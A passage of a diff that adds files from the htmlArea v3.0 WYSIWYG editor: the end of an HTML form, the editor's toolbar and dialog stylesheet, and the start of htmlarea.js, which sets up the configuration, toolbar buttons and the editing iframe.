+
+</form>
+
+</body>
+</html>
--- /dev/null
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+ cursor: default;
+ background: ButtonFace;
+ padding: 1px 1px 2px 1px;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+div.backtotop {font-size:11px;text-align:center; clear:both;}
+.htmlarea .toolbar .button {
+ background: ButtonFace;
+ color: ButtonText;
+ border: 1px solid ButtonFace;
+ padding: 1px;
+ margin: 0px;
+ width: 18px;
+ height: 18px;
+}
+.htmlarea .toolbar .buttonHover {
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+ padding: 2px 0px 0px 2px;
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+ background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+ padding: 0px 3px;
+ overflow: hidden;
+ width: 20px;
+ text-align: center;
+ cursor: default;
+ border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled img {
+ filter: alpha(opacity = 25);
+ -moz-opacity: 0.25;
+}
+
+.htmlarea .toolbar .separator {
+ position: relative;
+ margin: 3px;
+ border-left: 1px solid ButtonShadow;
+ border-right: 1px solid ButtonHighlight;
+ width: 0px;
+ height: 16px;
+ padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+ padding: 2px 4px;
+ background-color: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+ padding: 2px 5px;
+ color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+ background-color: Highlight;
+ color: HighlightText;
+ padding: 1px 4px;
+ border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+ color: ButtonText;
+ background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+ background: #008;
+ color: #ff8;
+ border-bottom: 1px solid #000;
+ padding: 1px 0px 2px 5px;
+ font-size: 12px;
+ font-weight: bold;
+ cursor: default;
+}
+
+.dialog .title .button {
+ float: right;
+ border: 1px solid #66a;
+ padding: 0px 1px 0px 2px;
+ margin-right: 1px;
+ color: #fff;
+ text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+ width: 5em;
+ padding: 0px;
+}
+
+.dialog .buttonColor {
+ padding: 1px;
+ cursor: default;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+ border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+ height: 0.6em;
+ border: 1px solid;
+ padding: 0px 1em;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+ border: 2px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+ padding: 0px;
+ margin: 0px;
+}
+
+.popupwin .title {
+ background: #fff;
+ color: #000;
+ font-weight: bold;
+ font-size: 120%;
+ padding: 3px 10px;
+ margin-bottom: 10px;
+ border-bottom: 1px solid black;
+ letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: htmlarea.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+if (typeof _editor_url == "string") {
+ // Leave exactly one backslash at the end of _editor_url
+ _editor_url = _editor_url.replace(/\x2f*$/, '/');
+} else {
+ alert("WARNING: _editor_url is not set! You should set this variable to the editor files path; it should preferably be an absolute path, like in '/htmlarea/', but it can be relative if you prefer. Further we will try to load the editor files correctly but we'll probably fail.");
+ _editor_url = '';
+}
+
+// make sure we have a language
+if (typeof _editor_lang == "string") {
+ _editor_lang = _editor_lang.toLowerCase();
+} else {
+ _editor_lang = "en";
+}
+
+// Creates a new HTMLArea object. Tries to replace the textarea with the given
+// ID with it.
+function HTMLArea(textarea, config) {
+ if (HTMLArea.checkSupportedBrowser()) {
+ if (typeof config == "undefined") {
+ this.config = new HTMLArea.Config();
+ } else {
+ this.config = config;
+ }
+ this._htmlArea = null;
+ this._textArea = textarea;
+ this._editMode = "wysiwyg";
+ this.plugins = {};
+ this._timerToolbar = null;
+ this._timerUndo = null;
+ this._undoQueue = new Array(this.config.undoSteps);
+ this._undoPos = -1;
+ this._customUndo = false;
+ this._mdoc = document; // cache the document, we need it in plugins
+ this.doctype = '';
+ }
+};
+
+// load some scripts
+(function() {
+ var scripts = HTMLArea._scripts = [ _editor_url + "htmlarea.js",
+ _editor_url + "dialog.js",
+ _editor_url + "popupwin.js",
+ _editor_url + "lang/" + _editor_lang + ".js" ];
+ var head = document.getElementsByTagName("head")[0];
+ // start from 1, htmlarea.js is already loaded
+ for (var i = 1; i < scripts.length; ++i) {
+ var script = document.createElement("script");
+ script.src = scripts[i];
+ head.appendChild(script);
+ }
+})();
+
+// cache some regexps
+HTMLArea.RE_tagName = /(<\/|<)\s*([^ \t\n>]+)/ig;
+HTMLArea.RE_doctype = /(<!doctype((.|\n)*?)>)\n?/i;
+HTMLArea.RE_head = /<head>((.|\n)*?)<\/head>/i;
+HTMLArea.RE_body = /<body>((.|\n)*?)<\/body>/i;
+
+HTMLArea.Config = function () {
+ this.version = "3.0";
+
+ this.width = "500";
+ this.height = "300";
+
+ // enable creation of a status bar?
+ this.statusBar = false;
+
+ // maximum size of the undo queue
+ this.undoSteps = 20;
+
+ // the time interval at which undo samples are taken
+ this.undoTimeout = 500; // 1/2 sec.
+
+ // the next parameter specifies whether the toolbar should be included
+ // in the size or not.
+ this.sizeIncludesToolbar = true;
+
+ // if true then HTMLArea will retrieve the full HTML, starting with the
+ // <HTML> tag.
+ this.fullPage = false;
+
+ // style included in the iframe document
+ this.pageStyle = "";
+
+ // set to true if you want Word code to be cleaned upon Paste
+ this.killWordOnPaste = true;
+
+ // BaseURL included in the iframe document
+ this.baseURL = document.baseURI || document.URL;
+ if (this.baseURL && this.baseURL.match(/(.*)\/([^\/]+)/))
+ this.baseURL = RegExp.$1 + "/";
+
+ // URL-s
+ this.imgURL = "images/";
+ this.popupURL = "popups/";
+
+ /** CUSTOMIZING THE TOOLBAR
+ * -------------------------
+ *
+ * It is recommended that you customize the toolbar contents in an
+ * external file (i.e. the one calling HTMLArea) and leave this one
+ * unchanged. That's because when we (InteractiveTools.com) release a
+ * new official version, it's less likely that you will have problems
+ * upgrading HTMLArea.
+ */
+ this.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator",
+ "subscript", "superscript", "separator","backtotop" ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+ "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+ "forecolor", "separator",
+ "inserthorizontalrule", "createlink", "insertimage","inserttable", "htmlmode", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ]
+ ];
+
+ this.fontname = {
+ "Arial": 'arial,helvetica,sans-serif',
+ "Courier New": 'courier new,courier,monospace',
+ "Georgia": 'georgia,times new roman,times,serif',
+ "Tahoma": 'tahoma,arial,helvetica,sans-serif',
+ "Times New Roman": 'times new roman,times,serif',
+ "Verdana": 'verdana,arial,helvetica,sans-serif',
+ "impact": 'impact',
+ "WingDings": 'wingdings'
+ };
+
+ this.fontsize = {
+ "1 (8 pt)": "1",
+ "2 (10 pt)": "2",
+ "3 (12 pt)": "3",
+ "4 (14 pt)": "4",
+ "5 (18 pt)": "5",
+ "6 (24 pt)": "6",
+ "7 (36 pt)": "7"
+ };
+
+ this.formatblock = {
+ "Heading 1": "h1",
+ "Heading 2": "h2",
+ "Heading 3": "h3",
+ "Heading 4": "h4",
+ "Heading 5": "h5",
+ "Heading 6": "h6",
+ "Normal": "p",
+ "Address": "address",
+ "Formatted": "pre"
+ };
+
+ this.customSelects = {};
+
+ function cut_copy_paste(e, cmd, obj) {
+ e.execCommand(cmd);
+ };
+
+ // ADDING CUSTOM BUTTONS: please read below!
+ // format of the btnList elements is "ID: [ ToolTip, Icon, Enabled in text mode?, ACTION ]"
+ // - ID: unique ID for the button. If the button calls document.execCommand
+ // it's wise to give it the same name as the called command.
+ // - ACTION: function that gets called when the button is clicked.
+ // it has the following prototype:
+ // function(editor, buttonName)
+ // - editor is the HTMLArea object that triggered the call
+ // - buttonName is the ID of the clicked button
+ // These 2 parameters makes it possible for you to use the same
+ // handler for more HTMLArea objects or for more different buttons.
+ // - ToolTip: default tooltip, for cases when it is not defined in the -lang- file (HTMLArea.I18N)
+ // - Icon: path to an icon image file for the button (TODO: use one image for all buttons!)
+ // - Enabled in text mode: if false the button gets disabled for text-only mode; otherwise enabled all the time.
+ this.btnList = {
+ bold: [ "Bold", "ed_format_bold.gif", false, function(e) {e.execCommand("bold");} ],
+ italic: [ "Italic", "ed_format_italic.gif", false, function(e) {e.execCommand("italic");} ],
+ underline: [ "Underline", "ed_format_underline.gif", false, function(e) {e.execCommand("underline");} ],
+ strikethrough: [ "Strikethrough", "ed_format_strike.gif", false, function(e) {e.execCommand("strikethrough");} ],
+ subscript: [ "Subscript", "ed_format_sub.gif", false, function(e) {e.execCommand("subscript");} ],
+ superscript: [ "Superscript", "ed_format_sup.gif", false, function(e) {e.execCommand("superscript");} ],
+ justifyleft: [ "Justify Left", "ed_align_left.gif", false, function(e) {e.execCommand("justifyleft");} ],
+ justifycenter: [ "Justify Center", "ed_align_center.gif", false, function(e) {e.execCommand("justifycenter");} ],
+ justifyright: [ "Justify Right", "ed_align_right.gif", false, function(e) {e.execCommand("justifyright");} ],
+ justifyfull: [ "Justify Full", "ed_align_justify.gif", false, function(e) {e.execCommand("justifyfull");} ],
+ orderedlist: [ "Ordered List", "ed_list_num.gif", false, function(e) {e.execCommand("insertorderedlist");} ],
+ unorderedlist: [ "Bulleted List", "ed_list_bullet.gif", false, function(e) {e.execCommand("insertunorderedlist");} ],
+ outdent: [ "Decrease Indent", "ed_indent_less.gif", false, function(e) {e.execCommand("outdent");} ],
+ indent: [ "Increase Indent", "ed_indent_more.gif", false, function(e) {e.execCommand("indent");} ],
+ forecolor: [ "Font Color", "ed_color_fg.gif", false, function(e) {e.execCommand("forecolor");} ],
+ hilitecolor: [ "Background Color", "ed_color_bg.gif", false, function(e) {e.execCommand("hilitecolor");} ],
+ inserthorizontalrule: [ "Horizontal Rule", "ed_hr.gif", false, function(e) {e.execCommand("inserthorizontalrule");} ],
+ createlink: [ "Insert Web Link", "ed_link.gif", false, function(e) {e.execCommand("createlink", true);} ],
+ insertimage: [ "Insert/Modify Image", "ed_image.gif", false, function(e) {e.execCommand("insertimage");} ],
+ inserttable: [ "Insert Table", "insert_table.gif", false, function(e) {e.execCommand("inserttable");} ],
+ htmlmode: [ "Toggle HTML Source", "ed_html.gif", true, function(e) {e.execCommand("htmlmode");} ],
+ popupeditor: [ "Enlarge Editor", "fullscreen_maximize.gif", true, function(e) {e.execCommand("popupeditor");} ],
+ about: [ "About this editor", "ed_about.gif", true, function(e) {e.execCommand("about");} ],
+ showhelp: [ "Help using editor", "ed_help.gif", true, function(e) {e.execCommand("showhelp");} ],
+ undo: [ "Undoes your last action", "ed_undo.gif", false, function(e) {e.execCommand("undo");} ],
+ redo: [ "Redoes your last action", "ed_redo.gif", false, function(e) {e.execCommand("redo");} ],
+ cut: [ "Cut selection", "ed_cut.gif", false, cut_copy_paste ],
+ copy: [ "Copy selection", "ed_copy.gif", false, cut_copy_paste ],
+ paste: [ "Paste from clipboard", "ed_paste.gif", false, cut_copy_paste ],
+ lefttoright: [ "Direction left to right", "ed_left_to_right.gif", false, function(e) {e.execCommand("lefttoright");} ],
+ righttoleft: [ "Direction right to left", "ed_right_to_left.gif", false, function(e) {e.execCommand("righttoleft");} ]
+ };
+ /* ADDING CUSTOM BUTTONS
+ * ---------------------
+ *
+ * It is recommended that you add the custom buttons in an external
+ * file and leave this one unchanged. That's because when we
+ * (InteractiveTools.com) release a new official version, it's less
+ * likely that you will have problems upgrading HTMLArea.
+ *
+ * Example on how to add a custom button when you construct the HTMLArea:
+ *
+ * var editor = new HTMLArea("your_text_area_id");
+ * var cfg = editor.config; // this is the default configuration
+ * cfg.btnList["my-hilite"] =
+ * [ function(editor) { editor.surroundHTML('<span style="background:yellow">', '</span>'); }, // action
+ * "Highlight selection", // tooltip
+ * "my_hilite.gif", // image
+ * false // disabled in text mode
+ * ];
+ * cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+ *
+ * An alternate (also more convenient and recommended) way to
+ * accomplish this is to use the registerButton function below.
+ */
+ // initialize tooltips from the I18N module and generate correct image path
+ for (var i in this.btnList) {
+ var btn = this.btnList[i];
+ btn[1] = _editor_url + this.imgURL + btn[1];
+ if (typeof HTMLArea.I18N.tooltips[i] != "undefined") {
+ btn[0] = HTMLArea.I18N.tooltips[i];
+ }
+ }
+};
+
+/** Helper function: register a new button with the configuration. It can be
+ * called with all 5 arguments, or with only one (first one). When called with
+ * only one argument it must be an object with the following properties: id,
+ * tooltip, image, textMode, action. Examples:
+ *
+ * 1. config.registerButton("my-hilite", "Hilite text", "my-hilite.gif", false, function(editor) {...});
+ * 2. config.registerButton({
+ * id : "my-hilite", // the ID of your button
+ * tooltip : "Hilite text", // the tooltip
+ * image : "my-hilite.gif", // image to be displayed in the toolbar
+ * textMode : false, // disabled in text mode
+ * action : function(editor) { // called when the button is clicked
+ * editor.surroundHTML('<span class="hilite">', '</span>');
+ * },
+ * context : "p" // will be disabled if outside a <p> element
+ * });
+ */
+HTMLArea.Config.prototype.registerButton = function(id, tooltip, image, textMode, action, context) {
+ var the_id;
+ if (typeof id == "string") {
+ the_id = id;
+ } else if (typeof id == "object") {
+ the_id = id.id;
+ } else {
+ alert("ERROR [HTMLArea.Config::registerButton]:\ninvalid arguments");
+ return false;
+ }
+ // check for existing id
+ if (typeof this.customSelects[the_id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[the_id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ switch (typeof id) {
+ case "string": this.btnList[id] = [ tooltip, image, textMode, action, context ]; break;
+ case "object": this.btnList[id.id] = [ id.tooltip, id.image, id.textMode, id.action, id.context ]; break;
+ }
+};
+
+/** The following helper function registers a dropdown box with the editor
+ * configuration. You still have to add it to the toolbar, same as with the
+ * buttons. Call it like this:
+ *
+ * FIXME: add example
+ */
+HTMLArea.Config.prototype.registerDropdown = function(object) {
+ // check for existing id
+ if (typeof this.customSelects[object.id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[object.id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ this.customSelects[object.id] = object;
+};
+
+/** Call this function to remove some buttons/drop-down boxes from the toolbar.
+ * Pass as the only parameter a string containing button/drop-down names
+ * delimited by spaces. Note that the string should also begin with a space
+ * and end with a space. Example:
+ *
+ * config.hideSomeButtons(" fontname fontsize textindicator ");
+ *
+ * It's useful because it's easier to remove stuff from the defaul toolbar than
+ * create a brand new toolbar ;-)
+ */
+HTMLArea.Config.prototype.hideSomeButtons = function(remove) {
+ var toolbar = this.toolbar;
+ for (var i in toolbar) {
+ var line = toolbar[i];
+ for (var j = line.length; --j >= 0; ) {
+ if (remove.indexOf(" " + line[j] + " ") >= 0) {
+ var len = 1;
+ if (/separator|space/.test(line[j + 1])) {
+ len = 2;
+ }
+ line.splice(j, len);
+ }
+ }
+ }
+};
+
+/** Helper function: replace all TEXTAREA-s in the document with HTMLArea-s. */
+HTMLArea.replaceAll = function(config) {
+ var tas = document.getElementsByTagName("textarea");
+ for (var i = tas.length; i > 0; (new HTMLArea(tas[--i], config)).generate());
+};
+
+/** Helper function: replaces the TEXTAREA with the given ID with HTMLArea. */
+HTMLArea.replace = function(id, config) {
+ var ta = HTMLArea.getElementById("textarea", id);
+ return ta ? (new HTMLArea(ta, config)).generate() : null;
+};
+
+// Creates the toolbar and appends it to the _htmlarea
+HTMLArea.prototype._createToolbar = function () {
+ var editor = this; // to access this in nested functions
+
+ var toolbar = document.createElement("div");
+ this._toolbar = toolbar;
+ toolbar.className = "toolbar";
+ toolbar.unselectable = "1";
+ var tb_row = null;
+ var tb_objects = new Object();
+ this._toolbarObjects = tb_objects;
+
+ // creates a new line in the toolbar
+ function newLine() {
+ var table = document.createElement("table");
+ table.border = "0px";
+ table.cellSpacing = "0px";
+ table.cellPadding = "0px";
+ toolbar.appendChild(table);
+ // TBODY is required for IE, otherwise you don't see anything
+ // in the TABLE.
+ var tb_body = document.createElement("tbody");
+ table.appendChild(tb_body);
+ tb_row = document.createElement("tr");
+ tb_body.appendChild(tb_row);
+ }; // END of function: newLine
+ // init first line
+ newLine();
+
+ // updates the state of a toolbar element. This function is member of
+ // a toolbar element object (unnamed objects created by createButton or
+ // createSelect functions below).
+ function setButtonStatus(id, newval) {
+ var oldval = this[id];
+ var el = this.element;
+ if (oldval != newval) {
+ switch (id) {
+ case "enabled":
+ if (newval) {
+ HTMLArea._removeClass(el, "buttonDisabled");
+ el.disabled = false;
+ } else {
+ HTMLArea._addClass(el, "buttonDisabled");
+ el.disabled = true;
+ }
+ break;
+ case "active":
+ if (newval) {
+ HTMLArea._addClass(el, "buttonPressed");
+ } else {
+ HTMLArea._removeClass(el, "buttonPressed");
+ }
+ break;
+ }
+ this[id] = newval;
+ }
+ }; // END of function: setButtonStatus
+
+ // this function will handle creation of combo boxes. Receives as
+ // parameter the name of a button as defined in the toolBar config.
+ // This function is called from createButton, above, if the given "txt"
+ // doesn't match a button.
+ function createSelect(txt) {
+ var options = null;
+ var el = null;
+ var cmd = null;
+ var customSelects = editor.config.customSelects;
+ var context = null;
+ var tooltip = "";
+ switch (txt) {
+ case "fontsize":
+ case "fontname":
+ case "formatblock":
+ // the following line retrieves the correct
+ // configuration option because the variable name
+ // inside the Config object is named the same as the
+ // button/select in the toolbar. For instance, if txt
+ // == "formatblock" we retrieve config.formatblock (or
+ // a different way to write it in JS is
+ // config["formatblock"].
+ options = editor.config[txt];
+ cmd = txt;
+ break;
+ default:
+ // try to fetch it from the list of registered selects
+ cmd = txt;
+ var dropdown = customSelects[cmd];
+ if (typeof dropdown != "undefined") {
+ options = dropdown.options;
+ context = dropdown.context;
+ if (typeof dropdown.tooltip != "undefined") {
+ tooltip = dropdown.tooltip;
+ }
+ } else {
+ alert("ERROR [createSelect]:\nCan't find the requested dropdown definition");
+ }
+ break;
+ }
+ if (options) {
+ el = document.createElement("select");
+ el.title = tooltip;
+ var obj = {
+ name : txt, // field name
+ element : el, // the UI element (SELECT)
+ enabled : true, // is it enabled?
+ text : false, // enabled in text mode?
+ cmd : cmd, // command ID
+ state : setButtonStatus, // for changing state
+ context : context
+ };
+ tb_objects[txt] = obj;
+ for (var i in options) {
+ var op = document.createElement("option");
+ op.appendChild(document.createTextNode(i));
+ op.value = options[i];
+ el.appendChild(op);
+ }
+ HTMLArea._addEvent(el, "change", function () {
+ editor._comboSelected(el, txt);
+ });
+ }
+ return el;
+ }; // END of function: createSelect
+
+ // appends a new button to toolbar
+ function createButton(txt) {
+ // the element that will be created
+ var el = null;
+ var btn = null;
+ switch (txt) {
+ case "separator":
+ el = document.createElement("div");
+ el.className = "separator";
+ break;
+ case "space":
+ el = document.createElement("div");
+ el.className = "space";
+ break;
+ case "linebreak":
+ newLine();
+ return false;
+ case "textindicator":
+ el = document.createElement("div");
+ el.appendChild(document.createTextNode("A"));
+ el.className = "indicator";
+ el.title = HTMLArea.I18N.tooltips.textindicator;
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : false, // enabled in text mode?
+ cmd : "textindicator", // the command ID
+ state : setButtonStatus // for changing state
+ };
+ tb_objects[txt] = obj;
+ break;
+ default:
+ btn = editor.config.btnList[txt];
+ }
+ if (!el && btn) {
+ el = document.createElement("div");
+ el.title = btn[0];
+ el.className = "button";
+ // let's just pretend we have a button object, and
+ // assign all the needed information to it.
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : btn[2], // enabled in text mode?
+ cmd : btn[3], // the command ID
+ state : setButtonStatus, // for changing state
+ context : btn[4] || null // enabled in a certain context?
+ };
+ tb_objects[txt] = obj;
+ // handlers to emulate nice flat toolbar buttons
+ HTMLArea._addEvent(el, "mouseover", function () {
+ if (obj.enabled) {
+ HTMLArea._addClass(el, "buttonHover");
+ }
+ });
+ HTMLArea._addEvent(el, "mouseout", function () {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonHover");
+ _removeClass(el, "buttonActive");
+ (obj.active) && _addClass(el, "buttonPressed");
+ }
+ });
+ HTMLArea._addEvent(el, "mousedown", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _addClass(el, "buttonActive");
+ _removeClass(el, "buttonPressed");
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ // when clicked, do the following:
+ HTMLArea._addEvent(el, "click", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonActive");
+ _removeClass(el, "buttonHover");
+ obj.cmd(editor, obj.name, obj);
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ var img = document.createElement("img");
+ img.src = btn[1];
+ img.style.width = "18px";
+ img.style.height = "18px";
+ el.appendChild(img);
+ } else if (!el) {
+ el = createSelect(txt);
+ }
+ if (el) {
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.appendChild(el);
+ } else {
+ alert("FIXME: Unknown toolbar item: " + txt);
+ }
+ return el;
+ };
+
+ var first = true;
+ for (var i in this.config.toolbar) {
+ if (!first) {
+ createButton("linebreak");
+ } else {
+ first = false;
+ }
+ var group = this.config.toolbar[i];
+ for (var j in group) {
+ var code = group[j];
+ if (/^([IT])\[(.*?)\]/.test(code)) {
+ // special case, create text label
+ var l7ed = RegExp.$1 == "I"; // localized?
+ var label = RegExp.$2;
+ if (l7ed) {
+ label = HTMLArea.I18N.custom[label];
+ }
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.className = "label";
+ tb_cell.innerHTML = label;
+ } else {
+ createButton(code);
+ }
+ }
+ }
+
+ this._htmlArea.appendChild(toolbar);
+};
+
+HTMLArea.prototype._createStatusBar = function() {
+ var statusbar = document.createElement("div");
+ statusbar.className = "statusBar";
+ this._htmlArea.appendChild(statusbar);
+ this._statusBar = statusbar;
+ // statusbar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ // creates a holder for the path view
+ div = document.createElement("span");
+ div.className = "statusBarTree";
+ div.innerHTML = HTMLArea.I18N.msg["Path"] + ": ";
+ this._statusBarTree = div;
+ this._statusBar.appendChild(div);
+ if (!this.config.statusBar) {
+ // disable it...
+ statusbar.style.display = "none";
+ }
+};
+
+// Creates the HTMLArea object and replaces the textarea with it.
+HTMLArea.prototype.generate = function () {
+ var editor = this; // we'll need "this" in some nested functions
+ // get the textarea
+ var textarea = this._textArea;
+ if (typeof textarea == "string") {
+ // it's not element but ID
+ this._textArea = textarea = HTMLArea.getElementById("textarea", textarea);
+ }
+ this._ta_size = {
+ w: textarea.offsetWidth,
+ h: textarea.offsetHeight
+ };
+ textarea.style.display = "none";
+
+ // create the editor framework
+ var htmlarea = document.createElement("div");
+ htmlarea.className = "htmlarea";
+ this._htmlArea = htmlarea;
+
+ // insert the editor before the textarea.
+ textarea.parentNode.insertBefore(htmlarea, textarea);
+
+ if (textarea.form) {
+ // we have a form, on submit get the HTMLArea content and
+ // update original textarea.
+ var f = textarea.form;
+ if (typeof f.onsubmit == "function") {
+ var funcref = f.onsubmit;
+ if (typeof f.__msh_prevOnSubmit == "undefined") {
+ f.__msh_prevOnSubmit = [];
+ }
+ f.__msh_prevOnSubmit.push(funcref);
+ }
+ f.onsubmit = function() {
+ editor._textArea.value = editor.getHTML();
+ var a = this.__msh_prevOnSubmit;
+ // call previous submit methods if they were there.
+ if (typeof a != "undefined") {
+ for (var i in a) {
+ a[i]();
+ }
+ }
+ };
+ }
+
+ // add a handler for the "back/forward" case -- on body.unload we save
+ // the HTML content into the original textarea.
+ try {
+ window.onunload = function() {
+ editor._textArea.value = editor.getHTML();
+ };
+ } catch(e) {};
+
+ // creates & appends the toolbar
+ this._createToolbar();
+
+ // create the IFRAME
+ var iframe = document.createElement("iframe");
+ htmlarea.appendChild(iframe);
+
+ this._iframe = iframe;
+
+ // creates & appends the status bar, if the case
+ this._createStatusBar();
+
+ // remove the default border as it keeps us from computing correctly
+ // the sizes. (somebody tell me why doesn't this work in IE)
+
+ if (!HTMLArea.is_ie) {
+ iframe.style.borderWidth = "1px";
+ // iframe.frameBorder = "1";
+ // iframe.marginHeight = "0";
+ // iframe.marginWidth = "0";
+ }
+
+ // size the IFRAME according to user's prefs or initial textarea
+ var height = (this.config.height == "auto" ? (this._ta_size.h + "px") : this.config.height);
+ height = parseInt(height);
+ var width = (this.config.width == "auto" ? (this._ta_size.w + "px") : this.config.width);
+ width = parseInt(width);
+
+ if (!HTMLArea.is_ie) {
+ height -= 2;
+ width -= 2;
+ }
+
+ iframe.style.width = width + "px";
+ if (this.config.sizeIncludesToolbar) {
+ // substract toolbar height
+ height -= this._toolbar.offsetHeight;
+ height -= this._statusBar.offsetHeight;
+ }
+ if (height < 0) {
+ height = 0;
+ }
+ iframe.style.height = height + "px";
+
+ // the editor including the toolbar now have the same size as the
+ // original textarea.. which means that we need to reduce that a bit.
+ textarea.style.width = iframe.style.width;
+ textarea.style.height = iframe.style.height;
+
+ // IMPORTANT: we have to allow Mozilla a short time to recognize the
+ // new frame. Otherwise we get a stupid exception.
+ function initIframe() {
+ var doc = editor._iframe.contentWindow.document;
+ if (!doc) {
+ // Try again..
+ // FIXME: don't know what else to do here. Normally
+ // we'll never reach this point.
+ if (HTMLArea.is_gecko) {
+ setTimeout(initIframe, 100);
+ return false;
+ } else {
+ alert("ERROR: IFRAME can't be initialized.");
+ }
+ }
+ if (HTMLArea.is_gecko) {
+ // enable editable mode for Mozilla
+ doc.designMode = "on";
+ }
+ editor._doc = doc;
+ if (!editor.config.fullPage) {
+ doc.open();
+ var html = "<html>\n";
+ html += "<head>\n";
+ if (editor.config.baseURL)
+ html += '<base href="' + editor.config.baseURL + '" />';
+ html += "<style>" + editor.config.pageStyle +
+ " html,body { border: 0px; }</style>\n";
+ html += "</head>\n";
+ html += "<body>\n";
+ html += editor._textArea.value;
+ html += "</body>\n";
+ html += "</html>";
+ doc.write(html);
+ doc.close();
+ } else {
+ var html = editor._textArea.value;
+ if (html.match(HTMLArea.RE_doctype)) {
+ editor.setDoctype(RegExp.$1);
+ html = html.replace(HTMLArea.RE_doctype, "");
+ }
+ doc.open();
+ doc.write(html);
+ doc.close();
+ }
+
+ if (HTMLArea.is_ie) {
+ // enable editable mode for IE. For some reason this
+ // doesn't work if done in the same place as for Gecko
+ // (above).
+ doc.body.contentEditable = true;
+ }
+
+ editor.focusEditor();
+ // intercept some events; for updating the toolbar & keyboard handlers
+ HTMLArea._addEvents
+ (doc, ["keydown", "keypress", "mousedown", "mouseup", "drag"],
+ function (event) {
+ return editor._editorEvent(HTMLArea.is_ie ? editor._iframe.contentWindow.event : event);
+ });
+
+ // check if any plugins have registered refresh handlers
+ for (var i in editor.plugins) {
+ var plugin = editor.plugins[i].instance;
+ if (typeof plugin.onGenerate == "function")
+ plugin.onGenerate();
+ if (typeof plugin.onGenerateOnce == "function") {
+ plugin.onGenerateOnce();
+ plugin.onGenerateOnce = null;
+ }
+ }
+
